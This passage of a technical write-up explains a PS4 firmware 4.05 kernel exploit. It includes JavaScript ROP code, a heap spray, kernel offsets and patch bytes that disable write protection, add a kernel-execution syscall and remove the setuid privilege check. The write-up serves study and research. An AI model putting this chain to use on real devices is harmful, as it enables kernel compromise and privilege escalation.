addresses up to 0x7FFFFFFFFFFF. A kernel address is noted by having the 0x800000000000 bit set. In kernel, the upper 32-bits are set to an address prefix to specify what type of kernel address it is, and the lower 32-bits the rest of the virtual address. The prefixes are as follows, where *x* can be any hexadecimal digit for the address, and *y* is an arbitrary hexadecimal digit for the heap address prefix, which is randomized at boot as per kASLR: 71 | 72 | 1. 0xFFFFFFFFxxxxxxxx = Kernel .text pointer 73 | 2. 0xFFFFFF80xxxxxxxx = Kernel stack pointer 74 | 3. 0xFFFFyyyyxxxxxxxx = Kernel heap pointer 75 | 76 | ### Vector sys_thr_get_ucontext 77 | System call 634 or `sys_thr_get_ucontext()` allows you to obtain information on a given thread. The problem is, some areas of memory copied out are not initialized, and thus the function leaks memory at certain spots. This vector was patched in 4.50, as now before the buffer is used it is initialized to 0 via `bzero()`. 78 | 79 | The biggest issue with this function is it uses a **lot** of stack space, so we're very limited to what we can use for our setup function. Our setup function must subtract over 0x500 from rsp all in one go, and whatever we leak will be deep in the code. 80 | 81 | This part of the exploit took the most time and research, as it is difficult to know what you are leaking without a debugger, it takes some educated guesses and experimentation to find an appropriate object. Getting the math down perfect won't do much good either because functions can change quite significantly between firmwares, especially when it's a jump like 1.76 to 4.05. This step took me around 1-2 months in my original exploit. 82 | 83 | ### Implementation 84 | ##### Thread Creation 85 | To call sys_thr_get_ucontext() successfully, we must create a thread first, an ScePthread specifically. We can do this using a function from libkernel, ScePthreadCreate(). The signature is as follows: 86 | 87 | ```c 88 | scePthreadCreate(ScePthread *thr, const ScePthreadAttr *attr, void *(*entry)(void *), void *arg, const char *name) 89 | ``` 90 | 91 | We can call this in WebKit on 4.05 by offset 0x11570 in libkernel. 92 | 93 | Upon success, scePthreadCreate() should return a valid thread handle, and should fill the buffer passed in to `ScePthread *thr` with an ScePthread struct - we need this as it will hold the thread descriptor we will use in subsequent calls for the leak. 94 | 95 | ##### Thread Suspension 96 | Unfortunately, you cannot call `sys_thr_get_ucontext()` on an active thread, so we must also suspend the thread before we can leak anything. We can do this via `sys_thr_suspend_ucontext()`. The function signature is as follows: 97 | 98 | ```c 99 | sys_thr_suspend_ucontext(int sceTd) 100 | ``` 101 | 102 | Calling this in WebKit is simple, we just need to dereference the value at offset 0 of the buffer we provided to `scePthreadCreate()`, this is the thread descriptor for the ScePthread. 103 | 104 | ##### Setup Function 105 | We need a setup function that uses over 0x500 stack space as stated earlier, between the surface function and any functions it may call. Opening a file (a device for example) is a good place to look, because open() itself uses a lot of stack spaces, and it will also run through a bunch of other sub-routines such as filesystem functions. 106 | 107 | I found that opening the "/dev/dipsw" device driver, I was able to leak not only a good object (which I will detail more in the "Object Leak" section below), but also leak kernel .text pointers. This will help us defeat kASLR for kernel patches and gadgets in our kernel ROP chain (from now on we will abbreviate this as "kROP chain"). 108 | 109 | ##### Leak! 110 | Finally, we can call `sys_thr_get_ucontext()` to get our leak. The signature is as follows: 111 | 112 | ```c 113 | sys_thr_get_ucontext(int sceTd, char *buf) 114 | ``` 115 | 116 | We simply pass `sceTd` (the same one we got from creation and passed to sys_thr_suspend_ucontext), and pass a pointer to our buffer as the second argument. When the call returns, we will have leaked kernel information in `buf`. 117 | 118 | #### kASLR Defeat 119 | First, we want to locate the kernel's .text base address. This will be helpful for post-exploitation stuff, for example, `cr0` gadgets are typically only available in kernel .text, as userland does not directly manipulate the `cr0` register. We will want to manipulate the `cr0` register to disable kernel write protection for kernel patching. How can we do this? We can simply leak a kernel .text pointer and subtract it's slide in the .text segment to find the base address of the kernel. 120 | 121 | In our buffer containing the leaked memory, we can see at offset 0x128 we are leaking a kernel .text address. This is also convenient, because as you will see in the next section "Object Leak", it is adjacent to our object leak in memory, so it will also help us verify the integrity of our leak. Because I had a dump of 4.05 kernel already from my previous exploit, I found the slide of this .text pointer to be 0x109E96. For those curious, it is a pointer to the section in `_vn_unlock()` where the flags are checked before unlocking a vnode. 122 | 123 | A good indication that your slide is good, is the kernel .text base is always aligned to 0x4000, which is the PS4's page boundary. This means your kernel .text base address should end in '000'. 124 | 125 | #### Object Leak 126 | Secondly, we need to leak an object in the heap that we can later free() and corrupt to obtain code execution. Some objects are also much better candidates than others. The following traits make for a good object for exploitation: 127 | 128 | 1. Has function pointers. Not needed per-se, you could obtain arbitary kernel R/W and use that to corrupt some other object, but function pointers are ideal. 129 | 2. Localized. You don't want an object that is used by some other area in the kernel ideally, because this could make the exploit racey and less stable. 130 | 3. Easy to fake. We need an object that we don't need to leak a bunch of other pointers to fake when we heap spray. 131 | 4. Objects associated to things like file descriptors make for great targets! 132 | 133 | At offset 0x130, it seems we leak a `cdev_priv` object, which are objects that represent character devices in memory. It seems this object leaks from the `devfs_open()` function, which also explains our `_vn_unlock()` leak at 0x128 for the ASLR defeat. 134 | 135 | Unfortunately, not all objects we leak are going to meet the ideal criteria. This object breaks criteria 2, however luckily it meets criteria 3 and we can fake it perfectly. Nothing else will use the `dipsw` device driver while our exploit runs, meaning even though our exploit uses a global object, it is still incredibly stable. It also has a bunch of function pointers we can use to hijack code execution via the `cdev_priv->cdp_c->c_devsw` object, meeting criteria 1. 136 | 137 | We can also see that `cdev_priv` objects are allocated in `devfs_alloc()`, which is eventually called by `make_dev()`. Luckily, `cdev_priv` objects are malloc()'d and not zone allocated, so we should have no issues freeing it. 138 | 139 | [src](http://fxr.watson.org/fxr/source/fs/devfs/devfs_devs.c?v=FREEBSD90#L118) 140 | ```c 141 | devfs_alloc(int flags) 142 | { 143 | struct cdev_priv *cdp; 144 | struct cdev *cdev; 145 | struct timespec ts; 146 | 147 | cdp = malloc(sizeof *cdp, M_CDEVP, M_USE_RESERVE | M_ZERO | ((flags & MAKEDEV_NOWAIT) ? M_NOWAIT : M_WAITOK)); 148 | 149 | if (cdp == NULL) 150 | return (NULL); 151 | 152 | // ... 153 | 154 | cdev = &cdp->cdp_c; 155 | 156 | // ... 157 | 158 | return (cdev); 159 | } 160 | ``` 161 | 162 | #### Stack Pivot Fix 163 | One last piece of information we need is a stack address. The reason for this is when we stack pivot to run our ROP chain in kernel mode, we need to return to userland cleanly, meaning fix the stack register (rsp) which we broke. 164 | 165 | Luckily, because kernel stacks are per-thread, we can use a stack address that we leak to calculate the new return location when the ROP chain is finished executing. I made this calculation by taking the difference of the base pointer (rbp) from where the kernel jumps to our controlled function pointer and a stack pointer that leaks. At offset 0x20 in the leak buffer we can see a stack address, I found the difference to be 0x3C0. 166 | 167 | #### Putting it all together 168 | First, we will create our thread for the `sys_thr_get_ucontext` leak, and set it so that it's program is an infinite loop gadget so it keeps running. We'll also create a ROP chain for stage 1, where we will open `/dev/dipsw` and leak, and we'll also setup the namedobj for stage 3 as well. 169 | 170 | ```javascript 171 | var createLeakThr = p.call(libkernel.add32(0x11570), leakScePThrPtr, 0, window.gadgets["infloop"], leakData, stringify("leakThr")); 172 | p.write8(namedObj, p.syscall('sys_namedobj_create', stringify("debug"), 0xDEAD, 0x5000)); 173 | ``` 174 | 175 | Then to leak, we will suspend the thread, open the `/dev/dipsw` device driver, and leak the `cdev_priv` object. 176 | 177 | ```javascript 178 | var stage1 = new rop(p, undefined); 179 | 180 | stage1.call(libkernel.add32(window.syscalls[window.syscallnames['sys_thr_suspend_ucontext']]), p.read4(p.read8(leakScePThrPtr))); 181 | stage1.call(libkernel.add32(window.syscalls[window.syscallnames['sys_open']]), stringify("/dev/dipsw"), 0, 0); 182 | stage1.saveReturnValue(targetDevFd); 183 | stage1.call(libkernel.add32(window.syscalls[window.syscallnames['sys_thr_get_ucontext']]), p.read4(p.read8(leakScePThrPtr)), leakData); 184 | 185 | stage1.run(); 186 | ``` 187 | 188 | Before continuing with the exploit for stability purposes, it's good to include an integrity check against your leak to ensure you know you're leaking the right object. The integrity check is verifying the kernel .text leak to ensure that the base address aligns with a page. This check will all at once allow us to defeat kASLR and check if the leak is valid. 189 | 190 | ```javascript 191 | // Extract leaks 192 | kernelBase = p.read8(leakData.add32(0x128)).sub32(0x109E96); 193 | objBase = p.read8(leakData.add32(0x130)); 194 | stackLeakFix = p.read8(leakData.add32(0x20)); 195 | 196 | if(kernelBase.low & 0x3FFF) 197 | { 198 | alert("Bad leak! Terminating."); 199 | return false; 200 | } 201 | ``` 202 | 203 | ## Stage 2 - Arbitrary Free 204 | A combination of design flaws led to a critical bug in the kernel, which allows an attacker to free() an arbitrary address. The issue lies in the idt hash table that Sony uses for named objects. I won't go full in-depth on the idt hash table as that's already been covered in depth by [fail0verflow's public write-up](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/). The main issue is Sony stores the object's type as well as flags in one field, and allow the user to specify it. This means the attacker can cause type confusion, which later leads to an arbitrary free() situation. 205 | 206 | ### Vector 1 - sys_namedobj_create 207 | By creating a named object with type = 0x5000 (or 0x4000 due to the function OR'ing the ID with 0x1000), we can cause type confusion in the idt hash table. Upon success, it returns an ID of the named object. 208 | 209 | ### Vector 2 - sys_mdbg_service 210 | When sys_mdbg_service() goes to write bytes passed in from a userland buffer at offset 0x4 to 0x8 to the named object returned, it actually writes to the wrong object due to type confusion. This allows the attacker to overwrite the pointer's lower 32-bits in the named object with any value. 211 | 212 | ### Vector 3 - sys_namedobj_delete 213 | When sys_namedobj_delete() is called, it first free()'s at offset 0 of the object before free()ing the object. Because we can contain 0x4-0x8 in the object in sys_mdbg_service via type confusion, we can control the lower 32-bits of the pointer that is free()'d here. Luckily, because this object is SUPPOSED to contain a heap pointer at offset 0, the heap address prefix is set for us. If this was not the case, this bug would not be exploitable. 214 | 215 | ### Implementation 216 | #### Creating a named object 217 | The first thing we need to do is create a named object to put in the `idt` with the malicious 0x5000 type. We can do that via the `sys_namedobj_create()` system call like this: 218 | 219 | ```javascript 220 | p.write8(namedObj, p.syscall('sys_namedobj_create', stringify("debug"), 0xDEAD, 0x5000)); 221 | ``` 222 | 223 | #### Writing a pointer to free 224 | We need to be able to write to the `no->name` field of the named object, because when we cause type confusion and delete the object, the address free()'d will be taken from the lower 32-bits of the `no->name` field. To do this, we can use the `sys_mdbg_service()` system call, like so: 225 | 226 | ```javascript 227 | p.write8(serviceBuff.add32(0x4), objBase); 228 | p.writeString(serviceBuff.add32(0x28), "debug"); 229 | 230 | // ... 231 | 232 | var stage3 = new rop(p, undefined); 233 | 234 | stage3.call(libkernel.add32(window.syscalls[window.syscallnames['sys_mdbg_service']]), 1, serviceBuff, 0); 235 | ``` 236 | 237 | #### Free! 238 | Finally, we need to trigger the free() on the address we wrote via `sys_namedobj_delete()`. Because of the object being cast to a `namedobj_dbg_t` type, it will free() the address specified at offset 0x4 (which is `no->name` in `namedobj_usr_t`. It is remarkable that this is the field that is free()'d, and that the field's upper 32-bits will already be set to the heap address prefix due to it being a pointer to the object's name. If this was not the case, we could not create a use-after-free() scenario as we would not be able to set the upper 32-bits, and this type confusion bug might otherwise be unexploitable. 239 | 240 | We can trigger the free() by simply deleting our named object via: 241 | 242 | ```javascript 243 | stage3.call(libkernel.add32(window.syscalls[window.syscallnames['sys_namedobj_delete']]), p.read8(namedObj), 0x5000); 244 | ``` 245 | 246 | ## Stage 3 - Heap Spray/Object Fake 247 | I'll detail a little bit in this section of what heap spraying is for those newer to exploitation, if you already know how it works however, feel free to skip this section. 248 | 249 | ### Helpful information 250 | Memory allocators have to be efficient, because allocating brand new memory is costly in terms of performance. To be more efficient, heap memory is typically sectioned into "chunks" (also called "buckets"), and these chunks are typically marked as "used" or "free". To save performance, if an allocation is requested, the kernel will first check to see if it can give you a chunk that's already been allocated (but marked "free") of a similar size before allocating a new chunk. 251 | 252 | The chunk sizes are powers of 2 starting at 16, meaning you can get chunks of size 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000, or 0x4000. You can find these defined in the `kmemzones` array in [FreeBSD's source file responsible for memory allocation, kern_malloc.c](http://fxr.watson.org/fxr/source/kern/kern_malloc.c?v=FREEBSD90#L151). 253 | 254 | We can abuse this to control the data of our free()'d object, and thus corrupt it. The `cdev_priv` object is 0x180 in size, meaning it will use a chunk of size 0x200. So if we continousily allocate, write, and deallocate a chunk of memory of a size above 0x100 and below 0x200, eventually the next malloc() call should give you the pointer you've maintained a reference to, which means your exploit can write to this pointer, and corrupt the backing memory of the object. This is called spraying the heap. 255 | 256 | For more information on heap spraying, see [here](https://en.wikipedia.org/wiki/Heap_spraying). 257 | 258 | ### Corrupting the object 259 | We're going to spray the heap with our fake object that we've created in userland. Our faked object will prevent the kernel from crashing by faking data we need to, and allow us to obtain code execution by hijacking a function pointer in the object. First let's take a look at the `cdev` object, which is the first member (inlined) of `cdev_priv`. For reference, each member also has it's offset in the structure. 260 | 261 | As to not make this write-up longer than it needs to be, I will only include some of the pointers that I faked. Other integers in the struct such as flags, mode, and the time stamp members I took from dumping the object live. 262 | 263 | #### The cdev object 264 | The `cdev` object is the core of the `cdev_priv` object, and contains important information about the device. Notably, it includes the name of the device, it's operations vtable, reference counts, and a linked list to previous and next `cdev_priv` devices. 265 | 266 | [src](http://fxr.watson.org/fxr/source/sys/conf.h?v=FREEBSD90#L54) 267 | ``` 268 | struct cdev { 269 | void *__si_reserved; // 0x000 270 | u_int si_flags; // 0x008 271 | struct timespec si_atime; // 0x010 272 | struct timespec si_ctime; // 0x020 273 | struct timespec si_mtime; // 0x030 274 | uid_t si_uid; // 0x040 275 | gid_t si_gid; // 0x044 276 | mode_t si_mode; // 0x048 277 | struct ucred *si_cred; // 0x050 278 | int si_drv0; // 0x058 279 | int si_refcount; // 0x05C 280 | LIST_ENTRY(cdev) si_list; // 0x060 281 | LIST_ENTRY(cdev) si_clone; // 0x070 282 | LIST_HEAD(, cdev) si_children; // 0x080 283 | LIST_ENTRY(cdev) si_siblings; // 0x088 284 | struct cdev *si_parent; // 0x098 285 | char *si_name; // 0x0A0 286 | void *si_drv1, *si_drv2; // 0x0A8 287 | struct cdevsw *si_devsw; // 0x0B8 288 | int si_iosize_max; // 0x0C0 289 | u_long si_usecount; // 0x0C8 290 | u_long si_threadcount; // 0x0D0 291 | union { 292 | struct snapdata *__sid_snapdata; 293 | } __si_u; // 0x0D8 294 | char __si_namebuf[SPECNAMELEN + 1]; // 0x0E0 295 | }; 296 | ``` 297 | 298 | ##### si_name 299 | The `si_name` member points to the `__si_namebuf` buffer inside the object, which is 64-bytes in length. Normally, a string will be written here, "dipsw". We're going to overwrite this though for our stack pivot, which will be the objective of the next stage. It is important to fix this post-exploit, because other processes that may want to open the "dipsw" device driver will not be able to if the name is not set properly, as it cannot be identified. 300 | 301 | ```javascript 302 | p.write8(obj_cdev_priv.add32(0x0A0), objBase.add32(0x0E0)); 303 | p.write8(obj_cdev_priv.add32(0x0E0), window.gadgets["ret"]); // New RIP value for stack pivot 304 | p.write8(obj_cdev_priv.add32(0x0F8), kchainstack); // New RSP value for stack pivot 305 | ``` 306 | 307 | ##### si_devsw 308 | `si_devsw` is our ultimate target object. It's usually a static object in kernel .text which contains function pointers for all sorts of operations with the device, including `ioctl()`, `mmap()`, `open()`, and `close()`. We can fake this pointer and make it point to an object we setup in userland, as the PS4 does not have Supervisor-Mode-Access-Prevention (SMAP). 309 | 310 | ```javascript 311 | p.write8(obj_cdev_priv.add32(0x0B8), obj_cdevsw); // Target Object 312 | ``` 313 | 314 | #### The (rest of the) cdev_priv object 315 | Originally, I spent a lot of time trying to fake the members from 0x120 to 0x180 in the object. Some of these members are difficult to fake as there are linked lists and pointers to object's that are in completely different zones. We can use a neat trick to cheat our way out of not needing to fake any of this data in our spray. I will cover this more in-depth when we cover the heap spray specifics. 316 | 317 | #### The cdevsw object 318 | The `cdevsw` object is a vtable which contains function pointers for various operations such as `open()`, `close()`, `ioctl()`, and many more. Thankfully because the "dipsw" device driver isn't used while we're exploiting, we can just pick one to overwrite (I chose `ioctl()`), trigger code execution, and fix the pointer back to the proper kernel .text location post-exploit. 319 | 320 | [src](http://fxr.watson.org/fxr/source/sys/conf.h?v=FREEBSD90#L192) 321 | ``` 322 | struct cdevsw { 323 | int d_version; // 0x00 324 | u_int d_flags; // 0x04 325 | const char *d_name; // 0x08 326 | d_open_t *d_open; // 0x10 327 | d_fdopen_t *d_fdopen; // 0x18 328 | d_close_t *d_close; // 0x20 329 | d_read_t *d_read; // 0x28 330 | d_write_t *d_write; // 0x30 331 | d_ioctl_t *d_ioctl; // 0x38 332 | d_poll_t *d_poll; // 0x40 333 | d_mmap_t *d_mmap; // 0x48 334 | d_strategy_t *d_strategy; // 0x50 335 | dumper_t *d_dump; // 0x58 336 | d_kqfilter_t *d_kqfilter; // 0x60 337 | d_purge_t *d_purge; // 0x68 338 | d_mmap_single_t *d_mmap_single; // 0x70 339 | 340 | int32_t d_spare0[3]; // 0x78 341 | void *d_spare1[3]; // 0x88 342 | 343 | LIST_HEAD(, cdev) d_devs; // 0xA0 344 | int d_spare2; // 0xA8 345 | union { 346 | struct cdevsw *gianttrick; 347 | SLIST_ENTRY(cdevsw) postfree_list; 348 | } __d_giant; // 0xB0 349 | }; 350 | ``` 351 | 352 | ##### Target - d_ioctl 353 | We're going to overwrite the `d_ioctl` address with our stack pivot gadget. When we go to call `ioctl()` on our opened device driver, the kernel will jump to our stack pivot gadget, run our kROP chain, and cleanly exit. 354 | 355 | ```javascript 356 | p.write8(obj_cdevsw.add32(0x38), libcBase.add32(0xa826f)); // d_ioctl - TARGET FUNCTION POINTER 357 | ``` 358 | 359 | This is another member we must fix post-exploit, as if anything else that uses "dipsw" (which is quite a lot of other processes) goes to perform an operation such as `open()`, it will crash the kernel because your faked object in userland will not be accessible by other processes as other processes will not have access to WebKit's mapped memory. 360 | 361 | ### Spray 362 | We can use the `ioctl()` system call to spray using a bad file descriptor. The system call will first `malloc()` memory, with the size being specified by the caller via parameter, and will `copyin()` data we control into the allocated buffer. Due to the bad file descriptor, the system call will then free the buffer, and exit in error. It's a perfect vector for a spray because we control the size, the data being copied in, and it's immediately free'd. 363 | 364 | The neat trick I mentioned earlier is using a size of 0x120 for our spray's `copyin()`. Because 0x120 is greater than 0x100 and lesser than 0x200, the chunk size matches our target object. However, because we are only specifying 0x120 for the `copyin()`, any data between 0x120-0x180 will not be initialized, meaning it will not get corrupted. No need to fake linked lists or attempt to fake pointers that we can't fake perfectly. 365 | 366 | ```javascript 367 | for(var i = 0; i < 500; i++) 368 | { 369 | stage3.call(libkernel.add32(window.syscalls[window.syscallnames['sys_ioctl']]), 0xDEADBEEF, 0x81200000, obj_cdev_priv); 370 | } 371 | 372 | stage3.run(); 373 | ``` 374 | 375 | ## Stage 4 - Kernel Stack Pivot 376 | To execute our ROP chain, we're going to need to pivot the stack to that of our ROP chain, to do this we can use a gadget in the libc module. This gadget loads rsp from [rdi + 0xF8], and pushes [rdi + 0xE0], which we can use to set RIP to the `ret` gadget. We control the `rdi` register, as rdi is going to be loaded with the buffer we pass in to the `ioctl()` call. Below is a snippet of the stack pivot gadget we will use from `sceLibcInternal.sprx`: 377 | 378 | ``` 379 | mov rsp, [rdi+0F8h] 380 | mov rcx, [rdi+0E0h] 381 | push rcx 382 | mov rcx, [rdi+60h] 383 | mov rdi, [rdi+48h] 384 | retn 385 | ``` 386 | 387 | Luckily, 0xE0 and 0xF8 fall inside the `__si_namebuf` member of `cdev`, which are members that can easily be fixed post-exploit. 388 | 389 | From `devfs_ioctl_f()` in `/fs/devfs/devfs_vnops.c` ([src](http://fxr.watson.org/fxr/source/fs/devfs/devfs_vnops.c?v=FREEBSD90#L711)): 390 | ```c 391 | // ... 392 | dev_relthread(dev, ref); 393 | // ... 394 | error = dsw->d_ioctl(dev, com, data, fp->f_flag, td); 395 | // ... 396 | ``` 397 | 398 | This is where the kernel will call the function pointer that we control. Notice `rdi` is loaded with `dev`, which is the `cdev` object we control. We can easily implement this stack pivot in our object fake, like so: 399 | 400 | ```javascript 401 | p.write8(obj_cdev_priv.add32(0x0E0), window.gadgets["ret"]); // New RIP value for stack pivot 402 | // ... 403 | p.write8(obj_cdev_priv.add32(0x0F8), kchainstack); // New RSP value for stack pivot 404 | // ... 405 | p.write8(obj_cdevsw.add32(0x38), libcBase.add32(0xa826f)); // d_ioctl - TARGET FUNCTION POINTER 406 | ``` 407 | 408 | Here is an [excellent resource](http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/11/07_lecture.pdf) on stack pivoting and how it works for those interested. 409 | 410 | ## Stage 5 - Building the Kernel ROP Chain 411 | Our kROP or kernel ROP chain is going to be a chain of instructions that we run from supervisor mode. We want to accomplish a few things with this chain. First, we want to apply a few kernel patches to allow us to run payloads and escalate our privileges. Finally before returning we'll want to fix the object to stabilize the kernel. 412 | 413 | ### Disabling Kernel Write Protection 414 | We have to disable the write protection on the kernel .text before we can make any patches. We can use the `mov cr0, rax` gadget to do this. The cr0 register contains various control flags for the CPU, one of which is the "WP" bit at bit 16. By unsetting this, we can write to read-only memory pages in ring0, such as kernel .text. 415 | 416 | ```javascript 417 | // Disable kernel write protection 418 | kchain.push(window.gadgets["pop rax"]); // rax = 0x80040033; 419 | kchain.push(0x80040033); 420 | kchain.push(kernelBase.add32(0x389339)); // mov cr0, rax; 421 | ``` 422 | 423 | For more information on the `cr0` control register, see the [OSDev wiki](http://wiki.osdev.org/CPU_Registers_x86#CR0). 424 | 425 | ### Allowing RWX Memory Mapping 426 | We want to be able to run C payloads and run our loader, so we need to patch the `mmap` system call to allow us to set the execute bit to map RWX memory pages. 427 | 428 | ```c 429 | seg000:FFFFFFFFA1824FD9 mov [rbp+var_61], 33h 430 | seg000:FFFFFFFFA1824FDD mov r15b, 33h 431 | ``` 432 | 433 | These are the maximum allowed permission bits the user is allowed to pass to `sys_mmap()` when mapping memory. By changing 0x33 in both of these move instructions to 0x37, it will allow us to specify the execute bit successfully. 434 | 435 | ```javascript 436 | // Patch sys_mmap: Allow RWX (read-write-execute) mapping 437 | var kernel_mmap_patch = new int64(0x37B74137, 0x3145C031); 438 | kchain.write64(kernelBase.add32(0x31CFDC), kernel_mmap_patch); 439 | ``` 440 | 441 | ### Syscall Anywhere 442 | Sony checks and ensures that a syscall instruction can only be issued from the memory range of the libkernel.sprx module. They also check the instructions around it to ensure it keeps the format if a typical wrapper. These patches will allow us to use the `syscall` instruction in our ROP chain, which will be important for fixing the object later. 443 | 444 | The first patch allows kernel processes to initiate `syscall` instructions. This is because processes have a `p_dynlib` member that specifies if libkernel has been loaded. This patch makes certain that any module can call `syscall` even if the libkernel module has not yet been loaded. 445 | 446 | ``` 447 | seg000:FFFFFFFFA15F5095 mov ecx, 0FFFFFFFFh 448 | ``` 449 | 450 | Which is patched to 451 | ``` 452 | mov ecx, 0x0 453 | ``` 454 | 455 | The second patch forces a jump below check to fail, so that our first patch is put to use. 456 | 457 | ``` 458 | seg000:FFFFFFFFA15F50BB cmp rdx, [rax+0E0h] 459 | seg000:FFFFFFFFA15F50C2 jb short loc_FFFFFFFFA15F50D7 460 | ``` 461 | 462 | Which is patched to 463 | ``` 464 | seg000:FFFFFFFFA15F50BB jmp loc_FFFFFFFFA15F513D 465 | ``` 466 | 467 | This will allow WebKit to issue a `syscall` instruction directly. 468 | ```javascript 469 | // Patch syscall: syscall instruction allowed anywhere 470 | var kernel_syscall_patch1 = new int64(0x0000000, 0xF8858B48); 471 | var kernel_syscall_patch2 = new int64(0x0007DE9, 0x72909000); 472 | kchain.write64(kernelBase.add32(0xED096), kernel_syscall_patch1); 473 | kchain.write64(kernelBase.add32(0xED0BB), kernel_syscall_patch2); 474 | ``` 475 | 476 | ### Allow sys_dynlib_dlsym from Anywhere 477 | Our payloads are going to need to be able to resolve userland symbols, so these patches are essential for running payloads. 478 | 479 | The first patch patches a check against a member that Sony added to the `proc` structure that defines if a process can call `sys_dynlib_dlsym()`. 480 | 481 | ```c 482 | seg000:FFFFFFFFA1652ACF mov rdi, [rbx+8] 483 | seg000:FFFFFFFFA1652AD3 call sub_FFFFFFFFA15E6930 484 | seg000:FFFFFFFFA1652AD8 cmp eax, 4000000h 485 | seg000:FFFFFFFFA1652ADD jb loc_FFFFFFFFA1652D8B 486 | ``` 487 | 488 | The second patch forces a function that checks if the process should have dynamic resolving to always return 0. 489 | 490 | ```c 491 | seg000:FFFFFFFFA15EADA0 sub_FFFFFFFFA15EADA0 proc near ; CODE XREF: sys_dynlib_dlsym+F9↓p 492 | seg000:FFFFFFFFA15EADA0 ; sys_dynlib_get_info+1FC↓p ... 493 | seg000:FFFFFFFFA15EADA0 mov rax, gs:0 494 | seg000:FFFFFFFFA15EADA9 mov rax, [rax+8] 495 | seg000:FFFFFFFFA15EADAD mov rcx, [rax+340h] 496 | seg000:FFFFFFFFA15EADB4 mov eax, 1 497 | seg000:FFFFFFFFA15EADB9 test rcx, rcx 498 | seg000:FFFFFFFFA15EADBC jz short locret_FFFFFFFFA15EADCA 499 | seg000:FFFFFFFFA15EADBE test [rcx+0F0h], edi 500 | seg000:FFFFFFFFA15EADC4 setnz al 501 | seg000:FFFFFFFFA15EADC7 movzx eax, al 502 | seg000:FFFFFFFFA15EADCA 503 | seg000:FFFFFFFFA15EADCA locret_FFFFFFFFA15EADCA: ; CODE XREF: sub_FFFFFFFFA15EADA0+1C↑j 504 | seg000:FFFFFFFFA15EADCA retn 505 | seg000:FFFFFFFFA15EADCA sub_FFFFFFFFA15EADA0 endp 506 | ``` 507 | 508 | This is patched to simply: 509 | 510 | ``` 511 | seg000:FFFFFFFFA15EADA0 xor eax, eax 512 | seg000:FFFFFFFFA15EADA2 ret 513 | [nop x5] 514 | ``` 515 | 516 | Patching both of these checks should allow any process, even WebKit, to dynamically resolve symbols. 517 | 518 | ```javascript 519 | // Patch sys_dynlib_dlsym: Allow from anywhere 520 | var kernel_dlsym_patch1 = new int64(0x000000E9, 0x8B489000); 521 | var kernel_dlsym_patch2 = new int64(0x90C3C031, 0x90909090); 522 | kchain.write64(kernelBase.add32(0x14AADD), kernel_dlsym_patch1); 523 | kchain.write64(kernelBase.add32(0xE2DA0), kernel_dlsym_patch2); 524 | ``` 525 | 526 | ### Install kexec system call 527 | Our goal with this patch is to create our own syscall under syscall #11. This syscall will allow us to execute arbitrary code in supervisor mode (ring0). It will only have two arguments, the first being a pointer to the function we want to execute. The second argument will be `uap` to pass arguments to the function. This code creates an entry in the `sysent` table. 528 | 529 | ``` 530 | // Add custom sys_exec() call to execute arbitrary code as kernel 531 | var kernel_exec_param = new int64(0, 1); 532 | kchain.write64(kernelBase.add32(0xF179A0), 0x02); 533 | kchain.write64(kernelBase.add32(0xF179A8), kernelBase.add32(0x65750)); 534 | kchain.write64(kernelBase.add32(0xF179C8), kernel_exec_param); 535 | ``` 536 | 537 | ### Kernel Exploit Check 538 | We don't want the kernel exploit to run more than once, as once we install our custom `kexec()` system call we don't need to. To do this, I decided to patch the privilege check out of the `sys_setuid()` system call, so we will know if the kernel has been patched if we can successfully call `setuid(0)` from WebKit. 539 | 540 | ``` 541 | seg000:FFFFFFFFA158DBB0 call priv_check_cred 542 | ``` 543 | 544 | To easily bypass this check, I decided to just change it to move 0 into the `rax` register. The opcodes happened to be perfect size. 545 | 546 | ``` 547 | seg000:FFFFFFFFA158DBB0 mov eax, 0 548 | ``` 549 | 550 | As you can guess, this also doubles as a partial privilege escalation. 551 | 552 | ``` 553 | // Add kexploit check so we don't run kexploit more than once (also doubles as privilege escalation) 554 | var kexploit_check_patch = new int64(0x000000B8, 0x85C38900); 555 | kchain.write64(kernelBase.add32(0x85BB0), kexploit_check_patch); 556 | ``` 557 | 558 | ### Exit to Userland 559 | Finally, we want to exit our kROP chain to prevent crashing the kernel. To do this, we need to restore RSP to it's value before the stack pivot. As stated earlier, we have a stack leak at 0x20 in the leak buffer, and it's 0x3C0 off from a good RSP value to return to. These instructions will apply the RSP fix by popping the `stack leak + 0x3C0` into the RSP register, and when the final gadget `ret`'s it will return to proper execution. 560 | 561 | ``` 562 | // Exit kernel ROP chain 563 | kchain.push(window.gadgets["pop rax"]); 564 | kchain.push(stackLeakFix.add32(0x3C0)); 565 | kchain.push(window.gadgets["pop rcx"]); 566 | kchain.push(window.gadgets["pop rsp"]); 567 | kchain.push(window.gadgets["push rax; jmp rcx"]); 568 | ``` 569 | 570 | ## Stage 6 - Trigger 571 | Now we need to trigger the exploit by calling the `ioctl()` system call on our object. The second parameter (cmd) does not matter because the handler will never be reached as we have overwritten it with our stack pivot gadget. 572 | 573 | ```javascript 574 | p.syscall('sys_ioctl', p.read8(targetDevFd), 0x81200000, obj_cdev_priv); 575 | ``` 576 | 577 | ## Stage 7 - Stabilizing the Object 578 | Finally, we need to ensure the object doesn't get corrupted. The `cdev_priv` object is global, meaning other processes will go to use it at some point. Since we free()'d it's backing memory, some other allocation could steal this pointer and overwrite our faked object, causing unpredictable crashes. To avoid this, we can call `malloc()` in the kernel a bunch of times to try to obtain this pointer, essentially we are performing a second heap spray, but if we find the address we want we are keeping the allocation. 579 | 580 | Since the kernel payload needs to retrieve the address of the object to write to, we will store it at an absolute address, 0xDEAD0000. We will also use this mapping to execute our payload. 581 | 582 | ```javascript 583 | var baseAddressExecute = new int64(0xDEAD0000, 0); 584 | var exploitExecuteAddress = p.syscall("sys_mmap", baseAddressExecute, 0x10000, 7, 0x1000, -1, 0); 585 | 586 | var executeSegment = new memory(p, exploitExecuteAddress); 587 | 588 | var objBaseStore = executeSegment.allocate(0x8); 589 | var shellcode = executeSegment.allocate(0x200); 590 | 591 | p.write8(objBaseStore, objBase); 592 | ``` 593 | 594 | We will also apply a few of our other patches to the object, such as restoring the object's name and original `si_devsw` pointer. 595 | 596 | [src](https://github.com/Cryptogenic/PS4-4.05-Kernel-Exploit/blob/master/fix.c) 597 | ```c 598 | int main(void) 599 | { 600 | int i; 601 | void *addr; 602 | uint8_t *ptrKernel; 603 | 604 | int (*printf)(const char *fmt, ...) = NULL; 